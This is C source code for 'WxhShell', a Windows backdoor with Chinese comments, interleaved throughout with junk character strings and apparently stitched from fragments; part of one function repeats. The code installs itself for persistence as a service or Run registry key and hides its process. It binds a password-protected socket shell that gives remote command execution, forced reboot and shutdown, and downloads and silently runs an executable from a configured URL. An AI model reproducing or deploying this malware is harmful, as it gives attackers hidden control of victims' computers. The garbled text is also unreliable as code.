3>v5k| IW0S*mO$ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n:%4SZn if(NULL == hInst ) return 0; 9D3{[ /kbU< g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S<"Fp1#"l g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aj1]ZT\ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V 95o(c.p cKt=? if (!NtQueryInformationProcess) return 0; CF '&Yo >qmCjY1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qn!mS[l if(!hProcess) return 0; l;lrf3 G#n 4g:K if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0X=F(,>9 J-v1"7[2GC CloseHandle(hProcess); XMrk2]_ U)/.wa> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <.6rl if(hProcess==NULL) return 0; B.q/}\
?( Ktq 4b%{ HMODULE hMod; hx:q@[ +J/ char procName[255]; Re,;$_6o unsigned long cbNeeded; SiLW[JXd DiFYVR<@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }KI/fh %F;BL8d CloseHandle(hProcess); ^+_rv |C[!A if(strstr(procName,"services")) return 1; // 以服务启动 dHc\M|HCC +OE!Uqnt return 0; // 注册表启动 94"+l@K } .AfZ5s]/F 7Y5 r3a}% // 主模块 [.gk{> # int StartWxhshell(LPSTR lpCmdLine) vd%g'fTy9 { n)e2? SOCKET wsl; LhJUoX BOOL val=TRUE; srGOIK. int port=0; 0MW W(
; struct sockaddr_in door; !T{+s
T yLnQ9BXB& if(wscfg.ws_autoins) Install(); t6DSZ^Zq +>Wo:kp3 port=atoi(lpCmdLine); q+?<cjVg VdlT+'HF if(port<=0) port=wscfg.ws_port; eZ$7VWG# &93{>caf+ WSADATA data; 7Sx|n}a-3 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z'YWomfZm ,;$OaJFT if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; p
F-Lz<V setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1q6)R/P door.sin_family = AF_INET; vK',!1]y door.sin_addr.s_addr = inet_addr("127.0.0.1"); w% %q/![uy door.sin_port = htons(port); ~g{j)"1 *~vB6V|1 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Er;/zxg9p closesocket(wsl); l0qaTpn return 1; )1s5vNVa } )?F&`+ !eW1d0n'+f if(listen(wsl,2) == INVALID_SOCKET) { YuK+N closesocket(wsl); [G<ga80 return 1; yw^Pok5. } n1sYD6u<& Wxhshell(wsl); pbH!u+DF WSACleanup(); wQhNQ(H~\ Cj-s return 0; 7Ak<e tHD 3s6obw$ki } \ruQx)5M 1m*)MZ) // 以NT服务方式启动 YX$(Sc3.6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $ev+0m_ { Bqf(6\)F DWORD status = 0; V]7/hN-Y} DWORD specificError = 0xfffffff; B7%K}|Qg 4ud(5m;Rle serviceStatus.dwServiceType = SERVICE_WIN32; nu0pzq\6 serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4V@%Y,:ee serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q:A#4Z serviceStatus.dwWin32ExitCode = 0; nLN0zfhE# serviceStatus.dwServiceSpecificExitCode = 0; 9\Ii$Mp serviceStatus.dwCheckPoint = 0; [LYO'-g^F# serviceStatus.dwWaitHint = 0; F>fCp w!F>fcm hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O_FB^BB if (hServiceStatusHandle==0) return; Nk'<*;e =U]9> status = GetLastError(); OX_y"]utU if (status!=NO_ERROR) qM\
2f<) { R"B{IWQi serviceStatus.dwCurrentState = SERVICE_STOPPED; TRhM xH serviceStatus.dwCheckPoint = 0; uNyU]@R<W serviceStatus.dwWaitHint = 0; I\l&'Q^0@ serviceStatus.dwWin32ExitCode = status; V*vQNPey serviceStatus.dwServiceSpecificExitCode = specificError; x~e._k= SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5X{|*?>T return; 1&w%TRC2x } 7^gO>2~ gIB3DuUo serviceStatus.dwCurrentState = SERVICE_RUNNING; Od!)MQ*, serviceStatus.dwCheckPoint = 0; $qNF /rF serviceStatus.dwWaitHint = 0; .S
k+"iH5 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %2QGbnt_* } p{Lrv%-j )z[C= // 处理NT服务事件,比如:启动、停止 ]A5F}wV4 VOID WINAPI NTServiceHandler(DWORD fdwControl) ha
:l-<a { 7HPwlS switch(fdwControl) Y{}
ub]i { fn}E1w case SERVICE_CONTROL_STOP: @:N8V[*u serviceStatus.dwWin32ExitCode = 0; PCT&d)} serviceStatus.dwCurrentState = SERVICE_STOPPED; zL"e . serviceStatus.dwCheckPoint = 0; <.h7xZ serviceStatus.dwWaitHint = 0; m?e/MQr { u
r$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); x@NfN*?/+i } TU|#Pz7n-Z return; 2F4<3k!& case SERVICE_CONTROL_PAUSE: +( LH!\{^ serviceStatus.dwCurrentState = SERVICE_PAUSED; #-L0.z( break; lC5zqyG case SERVICE_CONTROL_CONTINUE: #u&fUxM:AS serviceStatus.dwCurrentState = SERVICE_RUNNING; j7}mh break; ,=)DykP case SERVICE_CONTROL_INTERROGATE: ufXWK3~\ break; "Bd-h|J }; ?C|'GkT SetServiceStatus(hServiceStatusHandle, &serviceStatus); N:`_Vl } g[} L
? ^/n1hg // 标准应用程序主函数 #}7T$Va int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9D3W _eIc { wd`p> lR?y
tIY // 获取操作系统版本 !tq]kKJ3: OsIsNt=GetOsVer(); ,Fn;* GetModuleFileName(NULL,ExeFile,MAX_PATH); [2@:jLth= tA(oD4H9 // 从命令行安装
+SFFwjI if(strpbrk(lpCmdLine,"iI")) Install(); k4{!h?h e{x>u( // 下载执行文件 nCYz];". if(wscfg.ws_downexe) { =xk>yw!O) if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U$y9f WinExec(wscfg.ws_filenam,SW_HIDE); G&oD;NY@/ } Oo|JIr7i b7.7@Ly
y if(!OsIsNt) { Ii0\Skb // 如果时win9x,隐藏进程并且设置为注册表启动 B^2r4
9vC HideProc(); u62H+'k}F StartWxhshell(lpCmdLine); 8a6.77c } }?2X
q else ^Mq/Cf_T if(StartFromService()) gC$_yd6m
L // 以服务方式启动 u`v&URM StartServiceCtrlDispatcher(DispatchTable); bB<S4@jF8z else 6,q0F*q // 普通方式启动 ^Gk)aX StartWxhshell(lpCmdLine); )@!fLAT !oH{=.w return 0; 4Sh8w%s } LATizu
"`M~=RiI uH\EV`@' `+w= p7ET =========================================== It3k#A0 YP,,vcut a;[\ nCK EjfQF C "L.k
m B Ewa QvQ! " ?s, oH @|A!?} #include <stdio.h> (BY 0b%^ #include <string.h> !/G}vu #include <windows.h> V7WL Gy., #include <winsock2.h> "G%S
m") #include <winsvc.h> ,$`}Rf< #include <urlmon.h> oG)T>L[& %U{6 `m #pragma comment (lib, "Ws2_32.lib") 3P!OP{` #pragma comment (lib, "urlmon.lib") Bw;isMx7 `,4yGgD!4 #define MAX_USER 100 // 最大客户端连接数 q{h,}[U=
#define BUF_SOCK 200 // sock buffer 0er|QC #define KEY_BUFF 255 // 输入 buffer p@pb[Bx~[ t,YRM$P #define REBOOT 0 // 重启 6aB]&WO1@ #define SHUTDOWN 1 // 关机 e6p3!)@P1 sqhMnDn[ #define DEF_PORT 5000 // 监听端口 I'xc$f_+ (?Ko:0+* #define REG_LEN 16 // 注册表键长度 Ucv7`W
gr #define SVC_LEN 80 // NT服务名长度 hTa X@=Ra P4B|l: // 从dll定义API i6yA>#^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g#(+:^3' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '/`O*KD] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @vq)Y2)r\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cn}15JHdR Q m*z // wxhshell配置信息 ^?{&v19m struct WSCFG { 2#NnA3l]x% int ws_port; // 监听端口 ObM/~{rKx char ws_passstr[REG_LEN]; // 口令 Xc[ym int ws_autoins; // 安装标记, 1=yes 0=no IhzY7U)}T char ws_regname[REG_LEN]; // 注册表键名 #pZeGI|'J char ws_svcname[REG_LEN]; // 服务名 _1)n_P4 char ws_svcdisp[SVC_LEN]; // 服务显示名 =x+1A)Q char ws_svcdesc[SVC_LEN]; // 服务描述信息 YC;@ ^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \JPMGcL int ws_downexe; // 下载执行标记, 1=yes 0=no &&CrF~
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _wXT9`|3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,q%X`F
rc 0WzoI2Q }; A< .5=E,/ G-i2#S // default Wxhshell configuration g5U, struct WSCFG wscfg={DEF_PORT, 1tTP;C
l# "xuhuanlingzhe", Foq3==*p 1, l!}gWd,H "Wxhshell", !84Lvg0& "Wxhshell", yl?LXc[) "WxhShell Service", Q=!
lbW "Wrsky Windows CmdShell Service", iZk4KX "Please Input Your Password: ", ajkV"~w',| 1, 'T^MaLK "http://www.wrsky.com/wxhshell.exe", Xc+YoA0Ez "Wxhshell.exe" F4~OsgZ'N }; a;dWM(;Kw : F3UJ[V // 消息定义模块 '{0O!y[H6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L[PqEN\i char *msg_ws_prompt="\n\r? for help\n\r#>"; n7i~^nf> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j)G%I y[` char *msg_ws_ext="\n\rExit."; m\*ca3$ char *msg_ws_end="\n\rQuit."; @[joM*U char *msg_ws_boot="\n\rReboot..."; w}6~t\9D char *msg_ws_poff="\n\rShutdown..."; 47Vt8oyh% char *msg_ws_down="\n\rSave to "; '`k ommW char *msg_ws_err="\n\rErr!"; c1kV}-v char *msg_ws_ok="\n\rOK!"; ThP~k9- 8Y% char ExeFile[MAX_PATH]; 4 dHGU^#WZ int nUser = 0; Q0`@=5?- HANDLE handles[MAX_USER]; V}vL[=QFZ( int OsIsNt; /Gnt.%y& {{gd}g SERVICE_STATUS serviceStatus; k6DJ(.n'%a SERVICE_STATUS_HANDLE hServiceStatusHandle; E9k%:&]vd +z9BWo!{I // 函数声明 1c/<2 xO~ int Install(void); "1""1"; int Uninstall(void); wY8Vc" int DownloadFile(char *sURL, SOCKET wsh); GZ<@#~1%\ int Boot(int flag); p-"wY?q
void HideProc(void); "r;cH5 3 int GetOsVer(void); E_30)"] int Wxhshell(SOCKET wsl); qm#?DSLap void TalkWithClient(void *cs); j/O9LygB int CmdShell(SOCKET sock); ^{J^oZ'%~ int StartFromService(void); tag)IWAiE int StartWxhshell(LPSTR lpCmdLine); 44n41.Q] U1 3Lsky% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A"DGn VOID WINAPI NTServiceHandler( DWORD fdwControl ); -mO<(wfV>
})!- // 数据结构和表定义 n9
bp0#K SERVICE_TABLE_ENTRY DispatchTable[] = G~_eBy { ;[lLFI {wscfg.ws_svcname, NTServiceMain}, G,6`:l {NULL, NULL} |CQjgI|; }; +R$;LtR k^JgCC+ // 自我安装 G@e;ms1 int Install(void) r.@UH-2c { q~18JB4WPJ char svExeFile[MAX_PATH]; =|O]X|y-lZ HKEY key; >yenuqIKQv strcpy(svExeFile,ExeFile); #mioT",bm= b+RU <qR // 如果是win9x系统,修改注册表设为自启动 LkafB2y if(!OsIsNt) { Eb5>c/( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?st}rJ_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %/U'Wu{* RegCloseKey(key); |]:6IuslJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q 7W7sw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mGwJ>'+d RegCloseKey(key); `nII@ ! return 0; K\RMX?YsP } C<QpUJ`k } #mM9^LJ } 1A(f_ 0,.Q else { }>f%8O} (.z0.0W // 如果是NT以上系统,安装为系统服务 3?gfDJfE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |J-tU)|1vl if (schSCManager!=0) B}y#AVSA { _MQh<,Z8 SC_HANDLE schService = CreateService 9l[C&0w#\ ( d]_].D$ schSCManager, b!QRD'31'j wscfg.ws_svcname, 7
mA3&<&q wscfg.ws_svcdisp, ~s?y[yy6i SERVICE_ALL_ACCESS, DjZTr}%q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , blG?("0! SERVICE_AUTO_START, I8W9Kzf SERVICE_ERROR_NORMAL, #RdcSrw)W! svExeFile, <|3F('Q" NULL, ,
P1m# NULL, J| 46i NULL, lS2`#l > NULL, }
?+0s=Z NULL _+~jZ]o
N ); CJ3/8*;w if (schService!=0) 8;UkZN"hy5 { <X5V]f CloseServiceHandle(schService); KI\
9) CloseServiceHandle(schSCManager); A|mE3q= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q` |E9 strcat(svExeFile,wscfg.ws_svcname); su60j^e* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RLw/~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;8]Hw a1! RegCloseKey(key); vl`St$$| return 0; \WUCm.w6\% } *=%`f= } /byF:iYI CloseServiceHandle(schSCManager); 'oBv(H } Cb|R } B( wi+; hR>`I0|p& return 1; i~EFRI@ } r1[Jo|4vo .0'FW!;FV // 自我卸载 =$Sd2UD int Uninstall(void) Q)\4 .d { F]KAnEf HKEY key; xU;;@9X _air'XQ&! if(!OsIsNt) { qv$m5CJvK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]F*fQNcjy RegDeleteValue(key,wscfg.ws_regname); 6{TUs>~ RegCloseKey(key); B)u*c]<qU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @ZGD'+zd? RegDeleteValue(key,wscfg.ws_regname); }:hN}*H RegCloseKey(key); /}$D&KwYg return 0; 7y'2 } aqN6.t } c R6:AGr } 1gDsL else { AqucP@ [$%O-_x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,ftKRq if (schSCManager!=0) #hF(`oX}4K { oD&axNk SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <]h?_) if (schService!=0) !juh}q&}| { <K zEn+ if(DeleteService(schService)!=0) { ,FDRU CloseServiceHandle(schService);
MON]rj7 CloseServiceHandle(schSCManager); *'h J5{U return 0; 6~c:FsZ) } :[.**,0R CloseServiceHandle(schService); 'yR)z\) } BDz7$k] CloseServiceHandle(schSCManager); x3Ze\N8w } &-hXk!A } ^K'@W yw+LT,AQ. return 1; zM2_z } Q?]-/v E8]kd // 从指定url下载文件 k?;B1D8-n int DownloadFile(char *sURL, SOCKET wsh) j NkobJ1 { fKOC-%w HRESULT hr; gis;)al char seps[]= "/"; GX;~K char *token; ^n&_JQIXb char *file; B'8/`0^n5 char myURL[MAX_PATH]; 5l4YYwd>v char myFILE[MAX_PATH]; jPa"|9A V3<H8pL strcpy(myURL,sURL); CWw#0 token=strtok(myURL,seps); b ]u01T- while(token!=NULL) %+HZ4M+hV { yU'<b.] file=token; <S68UN(Ke token=strtok(NULL,seps); 0Tq=nYZA } 2$s2u; =C 7 WQ GetCurrentDirectory(MAX_PATH,myFILE); LeaJ).Maw strcat(myFILE, "\\"); FDCc?>,o strcat(myFILE, file); On-zbE send(wsh,myFILE,strlen(myFILE),0); X_aC$_b send(wsh,"...",3,0); Yh2[
nF_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G[$g-NU+ if(hr==S_OK) v,^W& W. return 0; Z|$M 9E else x
?24oO return 1; 1U6z2i+y t4v@d } HvzXAd
jH>`: // 系统电源模块 ^Fpc8D, int Boot(int flag) Bht! + { WJj5dqatV HANDLE hToken; R,dbq4xkl TOKEN_PRIVILEGES tkp; 9wbj}tN\z TQ5*z,CkS if(OsIsNt) { ,8G6q_ud OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T7~H|% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @L?KcGD tkp.PrivilegeCount = 1; 7BkY0_KK tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RG_.0'5=hc AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B-UsMO if(flag==REBOOT) { .C,D;T{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `Vl9/IEk return 0; W`v$-o- } @8*lqV2 else { #+#^cqjZ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AF\Jh+ynT! return 0; 2"6bz^>} } ]Bj2; <@y } LS]0 p# else { E.N if(flag==REBOOT) { #f<3[BLx if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S`8Iu[Ma return 0; 76cLf~|d~ } 50""n7I<% else { H)+QkQb} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w)C5XX30; return 0; nO+R>8,Q } c{
([U } v=d16 CorV!H4
return 1; F:N8{puq5 }
"S H=|5+ D$N;Qb // win9x进程隐藏模块 l"-Z#[ void HideProc(void) 8qL.L(=\/ { &-Ylj 3 3zE5vr HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h:RP/0E if ( hKernel != NULL ) }i{A4f` { 5]xSK'6W pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); niqknqW<t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $*;`$5.x^ FreeLibrary(hKernel); "+E\os72| } _iL?kf ?N^1v&Q return; ?4^ 0xGyE } V503 &`oybm-p( // 获取操作系统版本 TV=K3F5)M int GetOsVer(void) McpQ7\*h { dci<Rz`h OSVERSIONINFO winfo; 5th?m> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [ ou$* GetVersionEx(&winfo); 7=%Oev&0g- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kH8/8 return 1; k.z(.uc= else <RKT
| return 0; NSM7n=
*nh } @VPmr}p:{ u*/+cT // 客户端句柄模块 pH3<QNq5 int Wxhshell(SOCKET wsl) PMUW<UI { *YSRZvD<\ SOCKET wsh; |nE4tN#J< struct sockaddr_in client; /3&MUB*z&y DWORD myID; SA7(EJ95 Re&"Q8I.8 while(nUser<MAX_USER) [Q+k2J_h { L7hRFf-o int nSize=sizeof(client); 5vg="@O K wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (zh[1[a if(wsh==INVALID_SOCKET) return 1; tva=DS NBHpM}1xtU handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yzv"sd[8N if(handles[nUser]==0) f,4erTBH closesocket(wsh); . P+Qu
else ^=5x1<a9$ nUser++; +IO>% } H8B$#. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z:4_f:70 GC:q6} return 0; @$~IPg[J } n}I?.r@e -]+pwZ4g // 关闭 socket "F%JZO51 void CloseIt(SOCKET wsh) [q Uv|l1 { vxHFNGI closesocket(wsh); U(#JC(E-# nUser--; iGkysU<wcp ExitThread(0); le]~Cy0 } %IZd-N7i^ uKXNzz // 客户端请求句柄 8xg^="OJ void TalkWithClient(void *cs) 1)MDnODJ { &a;?o~%*]i "?.#z]'] SOCKET wsh=(SOCKET)cs; 4M|uT
9- char pwd[SVC_LEN]; Z`u$#<ukX char cmd[KEY_BUFF]; xP!QV~$> char chr[1]; MM_:2 ^P) int i,j; +D:8r|evH SI=u-'% while (nUser < MAX_USER) { NB4O,w
r5Tdp)S if(wscfg.ws_passstr) { A4cOnG,
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U(9_&sL //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^:]$m;v] //ZeroMemory(pwd,KEY_BUFF); 6tndC
o; ` i=0; ,|B-Nq while(i<SVC_LEN) { t`&x.o 8lL|j // 设置超时 tKeTHj;jO fd_set FdRead; q;") struct timeval TimeOut; !TJ,:c]4{! FD_ZERO(&FdRead); C!a1.&HHZ7 FD_SET(wsh,&FdRead); 9&5<ZC-D TimeOut.tv_sec=8; ".tL+A[ TimeOut.tv_usec=0; -^lc-$0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @(~:JP?KNC if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dWPQp*f2 d.^g#&h if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (XQuRL<X pwd=chr[0]; eM:J_>7t if(chr[0]==0xd || chr[0]==0xa) { weSq|f pwd=0; kB> ~Tb0 break; IF|6iKCE } =y4dR#R(\ i++; b1KtSRLV } *Bq}.Yn &J*M // 如果是非法用户,关闭 socket 1XMR7liE if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8&)v%TX } 1(Ta*"(0Ip
G$+v |z send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $KO2+^%y send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LWN{ jb-kg</A while(1) { B-R#?Xn:!I sa(.Anmlj ZeroMemory(cmd,KEY_BUFF); `;E/\eG" (
%\7dxiK // 自动支持客户端 telnet标准 $+!dP{ j=0; ba);f[> while(j<KEY_BUFF) { 2t-w0~O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^,acU\}VqP cmd[j]=chr[0]; \A"o[A2v if(chr[0]==0xa || chr[0]==0xd) { by
X!, cmd[j]=0; B6Vlc{c5SO break; e~9O#rQI } hPDKxYD]f j++; ~lys } X,7y| tb 6!ve6ZB[p // 下载文件 e "A" if(strstr(cmd,"http://")) { qk1j mr send(wsh,msg_ws_down,strlen(msg_ws_down),0); `za,sRFR if(DownloadFile(cmd,wsh)) Sw\*$g] send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]R#:Bq!F else ~ELMLwn. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ff\~`n~WZ } hfaU-IPcFX else { )U?_&LY)[M '4[=*!hs! switch(cmd[0]) { * x/!i^ wZiUzS;v // 帮助 :$MOdL[ir case '?': { I6W`yh`I) send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zTF{ g+ break; O?JJE8~'] } NXU:b"G
S // 安装 V&M*,#(? case 'i': { }}JMwT
if(Install()) =?<WCR
C* send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Vb else ]:<!( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h[ DNhR break; dAh.I3 } cz>,sz~i // 卸载 z-5`6aE9< case 'r': { tnRf!A;m if(Uninstall()) H5=kDkb send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5i!Q55Yv=, else 3!"N;Q" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9\?OV@ break; C82_)@96 } <'a~ Y3B"o // 显示 wxhshell 所在路径 Y'iX
case 'p': { ~t`^|cr| char svExeFile[MAX_PATH]; XA>W>| strcpy(svExeFile,"\n\r"); &S,D;uhF strcat(svExeFile,ExeFile); =ejj@c send(wsh,svExeFile,strlen(svExeFile),0); K,E/.Qe\C break; A`c%p7Z% } Ps!MpdcL3 // 重启 { mi}3/ case 'b': { SB_Tzp send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {PHH1dC{ if(Boot(REBOOT)) "|SMRc send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2/LSB8n| else { ?"6Zf LRi closesocket(wsh); ,N.8 ExitThread(0); wVs?E } -@W9+Zf5 break; rFRcK>X\L } Kc MzY // 关机 9u B?-. case 'd': { :!`"GaTy send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Da=EAG-{7 if(Boot(SHUTDOWN)) Mt[yY|Ec| send(wsh,msg_ws_err,strlen(msg_ws_err),0); QU"WpkO else { -+#%]P8l closesocket(wsh); f%Q{}fC{* ExitThread(0); Gm=qn]c } 9wgB JJl7 break; <n2@;`D } 8+zW:0"[ // 获取shell 3db{Tcn\@] case 's': { w?Te%/s. CmdShell(wsh); V]=22Cxi'~ closesocket(wsh); g{8RPw] ExitThread(0); #2{-6ey break; +\/Q } |VBt:dd< // 退出 Yh":>~k?SY case 'x': { sVLvnX, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9BCW2@Kp CloseIt(wsh); =kjKK break; >rSjP1-F } bjZJP\6 // 离开 067c/c case 'q': { _Cmmx`ln send(wsh,msg_ws_end,strlen(msg_ws_end),0); "[ bkdL< closesocket(wsh); L$ZjMJ WSACleanup(); yk+ 50/L exit(1); 88g3<& break; i]JTKL{\q } 8:ubtB } S*h52li } ?bTfQH
vX gD,&TW // 提示信息 NVyBEAoh if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w_9^YO!! } JzyCeM = } ,UNb#=it #lYyL`B+~ return; 6EqA Y`y }
TBj 2(Z X8Z?G,[H // shell模块句柄 cG|fau<G int CmdShell(SOCKET sock) U( YAI%O { +&GV-z~o STARTUPINFO si; Y-VDi.]W ZeroMemory(&si,sizeof(si)); th?+TNb^ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i'>6Qo si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zp:dArh0 PROCESS_INFORMATION ProcessInfo; ^_7|b[Bt char cmdline[]="cmd"; oV|O`n CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -t`kb*O3` return 0; ?w3RqF@} } 9:j?Jvw$ Ox3=1M0 // 自身启动模式 6FUW^dt int StartFromService(void) YEL0h0gn { })g<I+]Hf9 typedef struct ]33!obM { 5{c;I<0 DWORD ExitStatus; %xt9k9=vZ DWORD PebBaseAddress; "TZq")- DWORD AffinityMask; (lk9](;L DWORD BasePriority; Z}W{ iD{ ULONG UniqueProcessId; fr17|#L+s ULONG InheritedFromUniqueProcessId; ( }-*irSsj } PROCESS_BASIC_INFORMATION; 2g.lb&3W _&<n'fK[ PROCNTQSIP NtQueryInformationProcess; 5mH[|_ _^NX`<& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; agIqca; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :4ryi&Y }:Z.g HANDLE hProcess; ,OE&e*1 PROCESS_BASIC_INFORMATION pbi; tKbxC>w /cjz=r1U> HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P/%7kD@5; if(NULL == hInst ) return 0; 6h 0qtXn- FO!Td g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A*JOp8\) g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /{T&l*' NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iaGA9l<b N*Y[[N( if (!NtQueryInformationProcess) return 0; K-qWT7< u]^s2v hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qeZG/\, if(!hProcess) return 0; l:HQ@FX aZ#FKp^8H if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rRTKF0+ p`tz*ewC CloseHandle(hProcess); %~rEJB@{ 3CCs_AO hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ah>c)1DA*H if(hProcess==NULL) return 0; \)PB p v{u3[c
